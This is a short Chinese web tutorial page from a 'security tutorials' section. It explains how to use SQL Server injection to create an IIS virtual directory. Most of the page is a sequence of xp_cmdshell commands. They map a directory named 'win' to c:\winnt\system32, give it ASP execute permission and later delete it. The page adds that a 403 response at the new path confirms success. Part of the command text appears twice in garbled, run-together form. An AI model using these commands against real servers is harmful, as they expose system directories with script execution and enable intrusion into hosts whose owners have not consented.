sql server注入建立虚拟目录的方法

当前位置 : 首页 > 实用技巧 > 安全教程 > sql server注入建立虚拟目录的方法

sql server注入建立虚拟目录的方法

来源:互联网 作者:脚本宝典 时间:2015-07-26 18:21
execmaster.dbo.xp_cmdshellcscriptC:\Interpub\AdminScripts\mkwebdir.vbs-clocalhost-wl-vwin,c:\winnt\system32 建立虚拟目录win,指向c:\winnt\system32 execmaster.dbo.xp_cmdshellcscriptC:\Interpub\AdminScripts\adsutil.vbsw3svc/1/root/win/

exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' 
建立虚拟目录win,指向c:\winnt\system32 
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture' 
让win句有解析asp脚本权限 

exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/" 
删除虚拟目录。 
找不到web绝对路径的一种解决办法, 
http://xxx.com/win 
403错误,表示虚拟目录建好了。。。

Tag:
网友评论

<